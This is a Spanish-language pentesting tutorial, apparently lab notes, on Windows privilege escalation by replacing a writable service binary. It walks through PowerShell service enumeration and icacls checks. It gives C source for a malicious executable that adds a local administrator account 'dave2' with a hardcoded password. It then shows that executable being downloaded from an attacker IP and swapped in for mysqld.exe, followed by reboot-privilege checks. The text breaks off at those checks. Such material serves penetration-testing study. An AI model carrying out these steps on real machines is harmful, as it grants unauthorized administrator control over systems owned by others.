El Service Binary Hijacking, se puede abusar de cualquier binario que se encuentre fuera de la ruta C:\Windows\System32, trata sobre reemplazar un binario de algún servicio en ejecución, que sea ejecutado por un usuario que nos interese pivotar, y que tengamos permiso en el directorio que se encuentre para reemplazarlo e introducir nuestro binario malicioso.

En primer lugar, desde powershell listamos los servicios en ejecución

PS C:\\Users\\dave> Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

Name                      State   PathName
----                      -----   --------
Apache2.4                 Running "C:\\xampp\\apache\\bin\\httpd.exe" -k runservice
Appinfo                   Running C:\\Windows\\system32\\svchost.exe -k netsvcs -p
AppXSvc                   Running C:\\Windows\\system32\\svchost.exe -k wsappx -p
AudioEndpointBuilder      Running C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted -p
Audiosrv                  Running C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted -p
BFE                       Running C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetworkFirewall -p
BITS                      Running C:\\Windows\\System32\\svchost.exe -k netsvcs -p
BrokerInfrastructure      Running C:\\Windows\\system32\\svchost.exe -k DcomLaunch -p
...
mysql                     Running C:\\xampp\\mysql\\bin\\mysqld.exe --defaults-file=c:\\xampp\\mysql\\bin\\my.ini mysql

En este caso hemos encontrado dos servicios que su se encuentran fuero de C:\Windows\System32, por lo que podemos comprobar si tenemos permisos (F), en el siguiente paso, con icacls lo comprobamos

PS C:\\Users\\dave> icacls "C:\\xampp\\apache\\bin\\httpd.exe"
C:\\xampp\\apache\\bin\\httpd.exe BUILTIN\\Administrators:(F)
                              NT AUTHORITY\\SYSTEM:(F)
                              BUILTIN\\Users:(RX)
                              NT AUTHORITY\\Authenticated Users:(RX)

Successfully processed 1 files; Failed processing 0 files

Aquí no sería posible porque vemos que tenemos permisos de ectura y ejecución (RX), observamos el siguiente servicio

PS C:\\Users\\dave> icacls "C:\\xampp\\mysql\\bin\\mysqld.exe"
C:\\xampp\\mysql\\bin\\mysqld.exe NT AUTHORITY\\SYSTEM:(F)
                              BUILTIN\\Administrators:(F)
                              BUILTIN\\Users:(F)

Successfully processed 1 files; Failed processing 0 files

Vemos que tenemos Full access (F), por lo que procedemos a compilar un binario malicioso, que se encarge de crear un usuario nuevo y añadirlo al grupo administrators

#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user dave2 password123! /add");
  i = system ("net localgroup administrators dave2 /add");
  
  return 0;
}

Lo compilamos de la siguiente manera

kali@kali:~$ x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

Lo transferimos desde nuestra máquina a la máquina vícitma y lo suplantamos por el binario original de mysql.exe, en este caso

PS C:\\Users\\dave> iwr -uri <http://192.168.119.3/adduser.exe> -Outfile adduser.exe  

PS C:\\Users\\dave> move C:\\xampp\\mysql\\bin\\mysqld.exe mysqld.exe

PS C:\\Users\\dave> move .\\adduser.exe C:\\xampp\\mysql\\bin\\mysqld.exe

Comprobamos si tenemos permisos de parar el servicio con net stop

PS C:\\Users\\dave> net stop mysql
System error 5 has occurred.

Access is denied.

En este caso así no es posible reiniciar el servicio, pero hubieramos sido capaces, sería tan sencillo como hacer un net stop mysql y un net start mysql.

Como no es el caso, procedemos a comprobar si se ejecuta automaticamente al iniciar el sistema

PS C:\\Users\\dave> Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}

Name  StartMode
----  ---------
mysql Auto

Es el caso, ahora comprobamos que tengamos permisos para reiniciar con shutdown

PS C:\\Users\\dave> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeSecurityPrivilege           Manage auditing and security log     Disabled
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled